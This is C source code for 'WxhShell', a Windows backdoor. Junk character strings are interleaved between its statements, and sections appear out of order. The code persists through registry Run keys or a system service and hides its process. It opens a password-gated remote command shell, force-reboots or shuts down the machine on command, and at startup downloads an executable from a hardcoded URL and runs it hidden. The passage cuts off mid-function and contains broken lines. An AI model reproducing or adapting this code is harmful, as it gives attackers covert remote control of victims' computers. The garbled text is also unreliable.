586;\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #I{h\x><? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :1cV;gJ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gn8R[5:!V 8'r2D+Vwm if (!NtQueryInformationProcess) return 0; T6O::o6 |% F=po>w hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~P*6ozSYpY if(!hProcess) return 0; 3m]4= 9_L[w\P|4 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |{BIHgMh 5gH1.7i b CloseHandle(hProcess); ,X[ktz QwNly4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !O+)sbd< if(hProcess==NULL) return 0; "cE7
5 dsb `xw HMODULE hMod; ^=BTz9QM char procName[255]; 63q^ $I unsigned long cbNeeded; .Xfq^'I[ f/
?_ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9_q#W'/X (Mo*^pVr CloseHandle(hProcess); KSbKEA ^1S!F-H4\ if(strstr(procName,"services")) return 1; // 以服务启动 V, Z|tB^ .f*4T4eR- return 0; // 注册表启动 _Zp}?b5Q } nF54tR[ 1t:Q_j0Ym // 主模块 ;kFDMuuO int StartWxhshell(LPSTR lpCmdLine) *;l]8. { H7z,j}l SOCKET wsl; p#01gB BOOL val=TRUE; 09X01X[ int port=0; K,Ef9c/+K struct sockaddr_in door; hEA<o67 I?h)OvWd if(wscfg.ws_autoins) Install(); !^^?dRd*v ;;_,~pI?k port=atoi(lpCmdLine); eV2W{vuI #+:9T/*>0 if(port<=0) port=wscfg.ws_port; oiF}?:7Q7 xHUsFms WSADATA data; `n#H5Oyn if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZOft.P O In:9\7~jC
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; t9,\Hdo setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X\`_3= door.sin_family = AF_INET; K{x\4 door.sin_addr.s_addr = inet_addr("127.0.0.1"); g-Mj.owu= door.sin_port = htons(port); X>1,!I9 sT !~J4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3VsW@SG7N closesocket(wsl); %zA;+s$l return 1; q
0$,*[PH } 2QD3&Q9 9i'jjN if(listen(wsl,2) == INVALID_SOCKET) { *S]Ci\{_ closesocket(wsl); Q}1 R5@7 return 1; [=E } 9 %8"e>~ Wxhshell(wsl); *EOdEFsR/ WSACleanup(); ?^H
`M|S qIVx9jNN return 0; -l`f)0{ "oTHq]Ku } vL|SY_:4 Keuf9u // 以NT服务方式启动 di?K"Z> VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =+/eLKG { $}<PL}+ DWORD status = 0; "8c@sHk(w DWORD specificError = 0xfffffff; "w^!/ #D<C )Q serviceStatus.dwServiceType = SERVICE_WIN32; bP8Sj16q serviceStatus.dwCurrentState = SERVICE_START_PENDING; O;z,qo X serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~rlB'8j( serviceStatus.dwWin32ExitCode = 0; ~?D4[D|sB serviceStatus.dwServiceSpecificExitCode = 0; 5A%w 8Qv serviceStatus.dwCheckPoint = 0; b1^vd@(lx serviceStatus.dwWaitHint = 0; Ozw;(fDaU t`WB;o! hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NhfJ30~ if (hServiceStatusHandle==0) return; rx $mk 8
BY j status = GetLastError(); lphFhxJA{ if (status!=NO_ERROR) O}tZ - 'T { 4zASMu serviceStatus.dwCurrentState = SERVICE_STOPPED; VCu{&Sh* serviceStatus.dwCheckPoint = 0; b o0^3]Z serviceStatus.dwWaitHint = 0; LUG;(Fko serviceStatus.dwWin32ExitCode = status; Gn\_+Pj$ serviceStatus.dwServiceSpecificExitCode = specificError; /mXBvY SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?5U2D%t return; +EFgE1w } -u&6X,Oq\u 9:fOYT$8 serviceStatus.dwCurrentState = SERVICE_RUNNING; B.wYHNNV serviceStatus.dwCheckPoint = 0; *meZ8DV2DH serviceStatus.dwWaitHint = 0; c;%_EN% if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `sUZuWL_ } 7Ilm{@b= N/]o4o // 处理NT服务事件,比如:启动、停止 ;KOLNi-B& VOID WINAPI NTServiceHandler(DWORD fdwControl) sSOOXdnGG { !$DIc switch(fdwControl) @|Fg,N<Y] { )!Jc3%(B case SERVICE_CONTROL_STOP: f_wvZ& serviceStatus.dwWin32ExitCode = 0; a#^B2 serviceStatus.dwCurrentState = SERVICE_STOPPED; sJ#4(r` serviceStatus.dwCheckPoint = 0; ;>506jZ serviceStatus.dwWaitHint = 0; TK5K_V*7 { T:t]"d}} SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4FEk5D } ?f#y1m return; 7q?9Tj3 case SERVICE_CONTROL_PAUSE: F|F]970 serviceStatus.dwCurrentState = SERVICE_PAUSED; $i&e[O7T; break; L=c!:p|7) case SERVICE_CONTROL_CONTINUE: `D>S;[~S7 serviceStatus.dwCurrentState = SERVICE_RUNNING; ~Cl){8o break; #OBJzf*p case SERVICE_CONTROL_INTERROGATE: 6S\C}U/ break; .EpV;xq} }; Cnnh7` SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^:6{2 2C{ } WxW7qt 7x#Ckep:I // 标准应用程序主函数
gG
uZ8:f int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <!L>Exh&r { bQE};wM, ^=C{.{n // 获取操作系统版本 ?bPRxR OsIsNt=GetOsVer(); "XB[|#& GetModuleFileName(NULL,ExeFile,MAX_PATH); 0rh]]kj O>SLOWgha // 从命令行安装 x6(~;J if(strpbrk(lpCmdLine,"iI")) Install(); t]>Lh>G &Q+Ln,(&L // 下载执行文件 e@c0WlWa if(wscfg.ws_downexe) { \x)n>{3C if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Mb%A WinExec(wscfg.ws_filenam,SW_HIDE); anIAM } E8>Rui@9 6726ac{xz if(!OsIsNt) { g1XZ5P} f // 如果时win9x,隐藏进程并且设置为注册表启动 zEs>b(5u HideProc(); 3l)h yVf& StartWxhshell(lpCmdLine); ipQLK{]t } 8S>&WR%jH] else ([
jF4/ if(StartFromService()) `n$I]_}/% // 以服务方式启动 :/y1yM StartServiceCtrlDispatcher(DispatchTable); &f!z1d-qg? else bx<RV7>0 // 普通方式启动 ="x\`+U StartWxhshell(lpCmdLine); ^m?KRm2 m6n?bEl6I return 0; wm]^3qI2 } MG[o%I96 N e#WI' +lJG(Qd p+l !6 =========================================== ElS 9?Q+ r~N"ere26 )A!>=2M` (EK"V'; OC1I&",Ai| }-ftyl7 " KiI!frm1 O?U'!o= #include <stdio.h> XID<(HBA"! #include <string.h> |3F02 #include <windows.h> A6GE,FhsG #include <winsock2.h> cU ?0(z7 #include <winsvc.h> M(jgd #include <urlmon.h> GN-mrQo fNb`X #pragma comment (lib, "Ws2_32.lib") ,$;yY)x7U #pragma comment (lib, "urlmon.lib") ~2<7ZtV= ]d,S749(s #define MAX_USER 100 // 最大客户端连接数 >2~+.WePu #define BUF_SOCK 200 // sock buffer uvtF_P/ #define KEY_BUFF 255 // 输入 buffer .{ 44a$) [!} :KD2yX #define REBOOT 0 // 重启 /TZOJE(2j
#define SHUTDOWN 1 // 关机 Qi_>Mg`x U Z.=aQ}M #define DEF_PORT 5000 // 监听端口 (rkyW z O<96/a' #define REG_LEN 16 // 注册表键长度 RRmLd/( #define SVC_LEN 80 // NT服务名长度 T?:glp[4I ZN!4; // 从dll定义API _u{c4U0, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !O-C,uSm typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P8^hBv* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,oaw0Vw typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z74in8] ~vXaqCX // wxhshell配置信息 4D['^q struct WSCFG { =Vy`J)z9 int ws_port; // 监听端口 &8%e\W\K:/ char ws_passstr[REG_LEN]; // 口令 Y]{
>^`G int ws_autoins; // 安装标记, 1=yes 0=no Swp;HW7x char ws_regname[REG_LEN]; // 注册表键名 |AcRIq char ws_svcname[REG_LEN]; // 服务名 fRy^Q_~, char ws_svcdisp[SVC_LEN]; // 服务显示名 -:30:oq char ws_svcdesc[SVC_LEN]; // 服务描述信息 SV:4GVf char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HHq_P/' int ws_downexe; // 下载执行标记, 1=yes 0=no G2t;DN( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *NkA8PC char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'rMN=1:iu" M&NB/ }; <@}I0 f8M$45A' // default Wxhshell configuration p!sWYui struct WSCFG wscfg={DEF_PORT, `!Ds6 "xuhuanlingzhe", CamE' 1, 1QmH{jM "Wxhshell", T.Ryy"%F "Wxhshell", U>V&-kxtV "WxhShell Service", u}!@ ,/) "Wrsky Windows CmdShell Service", 'd+NVj{C "Please Input Your Password: ", MS0Fl|YA 1, dFH$l "http://www.wrsky.com/wxhshell.exe", Fx5d:!]:$? "Wxhshell.exe" kGdt1N[ }; 66.5QD0 0j30LXI_ // 消息定义模块 T/^Hz4uA7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Jrg2/ee,* char *msg_ws_prompt="\n\r? for help\n\r#>"; )dY=0"4Z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3l3+A+n char *msg_ws_ext="\n\rExit."; %=?cZfFqO char *msg_ws_end="\n\rQuit."; pY_s*0_ char *msg_ws_boot="\n\rReboot..."; _Qh
z3'I1 char *msg_ws_poff="\n\rShutdown..."; ?T>'j mmV= char *msg_ws_down="\n\rSave to "; A|L 8P Ku\Y'ub char *msg_ws_err="\n\rErr!"; Q3|T':l4 char *msg_ws_ok="\n\rOK!"; GP&vLt51 NZ/yBOD( char ExeFile[MAX_PATH]; J9\a{c;. int nUser = 0; deM7fN4lTi HANDLE handles[MAX_USER]; @J5Jpt*IE int OsIsNt; uq,
{tV x~GQV^(l3 SERVICE_STATUS serviceStatus; {"&SJt[%X SERVICE_STATUS_HANDLE hServiceStatusHandle; /1x,h"T\< 'XzXZJ[uq // 函数声明 ZO4*sIw%
int Install(void); @+9<O0 int Uninstall(void); tZ `z int DownloadFile(char *sURL, SOCKET wsh); _~q?_'kx int Boot(int flag); v^ zu:Z* void HideProc(void); oP!;\a( SL int GetOsVer(void); -O&CI)`;B int Wxhshell(SOCKET wsl); E2cB U{x void TalkWithClient(void *cs); oS7(s int CmdShell(SOCKET sock); \3'9Uz,OC int StartFromService(void); aX~%5mF int StartWxhshell(LPSTR lpCmdLine); AX= 1b,s 3t<a $i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y`o+XimX VOID WINAPI NTServiceHandler( DWORD fdwControl ); Qb)C[5a} HsnLm67' // 数据结构和表定义 INkD=tX SERVICE_TABLE_ENTRY DispatchTable[] = *^RmjW1I { \0mb
3Q' {wscfg.ws_svcname, NTServiceMain}, %H]lGN) {NULL, NULL} (y?ITz9 }; HcedE3Rg m;D- u>o // 自我安装 Wm);C~Le int Install(void) $KLD2BAL { I! > \#K char svExeFile[MAX_PATH]; {X[ HCfJd HKEY key; Ux#x#N strcpy(svExeFile,ExeFile); Qt,M!i, HAv{R!* // 如果是win9x系统,修改注册表设为自启动 "=6v&G]U4 if(!OsIsNt) { E\IlF 6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !'j?.F$} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K-f1{ 0 RegCloseKey(key); `;l?12|X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WdZ:K, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F29va RegCloseKey(key); E@-KGsdhK return 0; %e`$p=m } 5Q 'i2*j } zfwS } &BtK($ else { N.4q. 549jWG // 如果是NT以上系统,安装为系统服务 #fJ] o_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rQEyD if (schSCManager!=0) 5w\fSY { 52b*[tZ SC_HANDLE schService = CreateService NTS#sgP ( k6Uc3O schSCManager, u~3%bJ] wscfg.ws_svcname, vk>b#%1{ wscfg.ws_svcdisp, ~}!3G SERVICE_ALL_ACCESS, ?[&2o| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u$D*tqxG SERVICE_AUTO_START, (u]N SERVICE_ERROR_NORMAL, `u.t[ svExeFile, =)E,8L NULL, 6m VuyI NULL, t^[8RhD NULL, xB@|LtdO9; NULL, {
.*y NULL uP<0WCN ); WHAQu]{ if (schService!=0) gqR)IVk>% { q~@]W= CloseServiceHandle(schService); -F=v6N { CloseServiceHandle(schSCManager); @xeAc0.^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iA0q_( \X strcat(svExeFile,wscfg.ws_svcname); mo1oyQg8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nOQa_G]Gz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C-8qj> RegCloseKey(key); ?-tVSRKQ return 0; ?KITC;\\ } 4*aZ>R2hO } 4J?t_) CloseServiceHandle(schSCManager); Y3h/~bM% } ]c&<zeX, } 4GR!y) <BO)E( return 1; ~GuMlV8 } 8)kLV_+% 'S[++w?Qq // 自我卸载 4QIE8f
Y int Uninstall(void) 557(EM
{ wHIj<"2 HKEY key; %?aS#4jI pGSai& if(!OsIsNt) { Yk42(!
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h?-#9<A RegDeleteValue(key,wscfg.ws_regname); I+ es8 RegCloseKey(key); xr7+$:>a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <" @zn RegDeleteValue(key,wscfg.ws_regname); \}~s2Y5j RegCloseKey(key); Y-'78BJk return 0; UxD5eJJ } Kf 2jD4z} } fK&e7j`qO } @:tj<\G] else { G&;j6<h l be e5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /T,Z>R if (schSCManager!=0) RUr=fEH { []0mX70N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /)xlJUq if (schService!=0) QZX~T|Ckv { BS&;n if(DeleteService(schService)!=0) { Cda!Mk: CloseServiceHandle(schService); );*YQmdx' CloseServiceHandle(schSCManager); (Y+N@d return 0; (~$/$%b } m~lpyAw CloseServiceHandle(schService); ?<Y+peu } p#SY /KIw CloseServiceHandle(schSCManager); U$H@ jJ* } # wc \T } ^FZ^6* w'X]M#Q>< return 1; oo=#XZkk } *_ +7ni Gn)y>
AN // 从指定url下载文件 "lNzGi-H int DownloadFile(char *sURL, SOCKET wsh) ]I/Vb s { M0|'f' HRESULT hr; hUz[uyt char seps[]= "/"; N$TL;T> char *token; ;pD)m/$h` char *file; q!f1~ aG char myURL[MAX_PATH]; s4 %(>Q char myFILE[MAX_PATH]; rdnRBFt CSV;+,Vv strcpy(myURL,sURL); +,50qN:%[ token=strtok(myURL,seps); {B*W\[ns while(token!=NULL) 0F#>CmD { 4f~["[*ea file=token; ES<{4<Kpx token=strtok(NULL,seps); W>M~Sk$v } VD4C::J 7ZUiY GetCurrentDirectory(MAX_PATH,myFILE); y<XlRTy[} strcat(myFILE, "\\"); 24Z]%+b*E strcat(myFILE, file); {FN;'Uc send(wsh,myFILE,strlen(myFILE),0); iqhOi|! send(wsh,"...",3,0); G5D2oQa=8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CK_(b" if(hr==S_OK) *n(> ^ return 0; pium$4l2# else y[O-pD` return 1; +pH@oFNK \Hqc9&0 } n:U>Fj>q 0Q5 93F // 系统电源模块 DWt*jX * int Boot(int flag) 4$,,Ppn { qQxz(}REu9 HANDLE hToken; 0aR,H[r[? TOKEN_PRIVILEGES tkp; JK#vkCkyM Ufo>|A6;$ if(OsIsNt) { aFY_:.o2k` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *m+5Pr`7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U-0#0} _ tkp.PrivilegeCount = 1; HNa]H;-+5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NYABmI/0c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ip}Vb6} if(flag==REBOOT) { rVQX7l# YI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rOD1_X- return 0; _SZ5P>GIU } kllQca|$4 else { /?"8-0d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8 _d-81Dd return 0; 1Q}mf !Y } %HtuR2#ca } 6Ggs JU else { #$\fh;!W if(flag==REBOOT) { lEPAP|~uw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {OT:3SS7 return 0; j1Yq5`ia } 7.<^j[? else { ;]CVb`d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GR'Ti*Qi return 0; r)1Z(tl } 1xnLB>jP# } G>T')A l{P\No return 1; __p_8P } V'Qn sI km:nE: | // win9x进程隐藏模块 H L<s@kEZ void HideProc(void) tn/T6C^) { <XQ.A3SG! <c,~aq#W' HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
tUE'K.- if ( hKernel != NULL ) (L6Cy%KgV { y[0`hSQ)~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j<tq1?? [b ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qH%")7> FreeLibrary(hKernel); myQ&%M
gx } IGj`_a U[_8WJ7+ return; (UEXxUdQ_Q } -E&e1u,Mi e[Xq // 获取操作系统版本 N4^5rrkL int GetOsVer(void) 0vs0*;F; { (7$$; OSVERSIONINFO winfo; }dSFAKI2dM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j!#OG GetVersionEx(&winfo); CfT/R/L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f1{z~i9@$ return 1; H*e'Cs/ else ;~zNqdlH return 0; sDiHXDI_m } FT\?:wpKa h:qHR]
8dZ // 客户端句柄模块 Edt}",s7 int Wxhshell(SOCKET wsl) o96:4j4 { ?Z %: SOCKET wsh; p5]_}I`+2 struct sockaddr_in client; BQgoVnQo_c DWORD myID; oJ;rc{n- 0.(<'!"y while(nUser<MAX_USER) Z/ bB
h { utO.WfWP int nSize=sizeof(client); X} JOX9pK wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "HQF.#\# if(wsh==INVALID_SOCKET) return 1; Yx?aC!5M -rY 7)= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s_wUM)! if(handles[nUser]==0) J?712=9 closesocket(wsh); 2P~)I)3V else A! 6r/
nUser++; )3E,D~1e% } cwtD@KC[B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g@nk.aRw -6E K#!+ return 0; H/cTJ9zz } h_
!>yK c{88m/;eP // 关闭 socket d!{7r7ob\ void CloseIt(SOCKET wsh) SN]LeXesS { ,jh~;, w2 closesocket(wsh); *v #/Y9} nUser--; i+(GNcg2 ExitThread(0); Dm{Ok#@r2 } T |"`8mG r?p{LF // 客户端请求句柄 juno.$
6 void TalkWithClient(void *cs) 3o8\/-*< { Y)p4]>lT+8 Gbb\h SOCKET wsh=(SOCKET)cs; INNAYQ char pwd[SVC_LEN]; f]_mzF=& char cmd[KEY_BUFF]; w7Dt1axB char chr[1]; G%hO\EO int i,j; wly>H]i' 8$~3r a while (nUser < MAX_USER) { @FX{M.. ju{%'D!d9 if(wscfg.ws_passstr) { RV!<?[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R^{xwI //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cC6z,0`3 //ZeroMemory(pwd,KEY_BUFF); eqFvrESN~= i=0; 0\ f-z6 while(i<SVC_LEN) { ~iTxv_\=6u 6Y?`=kAp // 设置超时 9O >z4o fd_set FdRead; %x2b0L\g struct timeval TimeOut; )/%S=c FD_ZERO(&FdRead); 84`rbL!M FD_SET(wsh,&FdRead);
GXeAe}T TimeOut.tv_sec=8; B_~jA%0m' TimeOut.tv_usec=0; ;QPy:x3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nPf'ee if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )Qr6/c8} euZ(}+N& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?`. XK} pwd=chr[0]; M_&4]\PkCy if(chr[0]==0xd || chr[0]==0xa) { =~,l4g\ pwd=0; n6cq\@~A break; &>=#w"skb6 } BJIQ
zn3 i++; qY}Cg0[@g } W78o*z[O wgZrrq/W| // 如果是非法用户,关闭 socket 3j&B(aLy if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HDj$"pS } U"x~Jb3]O -3k;u send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )>$^wT send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,>S+-L8 b;{h?xc6 while(1) { RZ6~c{ @XBH.A^7r ZeroMemory(cmd,KEY_BUFF); ay[ZsQC cHEz{'1m // 自动支持客户端 telnet标准 >Z"9rF2SW j=0; B/_6Ieb+ while(j<KEY_BUFF) { EIK*49b2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6+ANAk cmd[j]=chr[0]; ,i![QXZ if(chr[0]==0xa || chr[0]==0xd) { ?#ihJt, cmd[j]=0; Q?]w{f( break; 4?]ZV_BD } Mdm0g j++; >)sqh ~P } F(0Z ]#+ u_Zm1*'?B // 下载文件 85C#ja1& |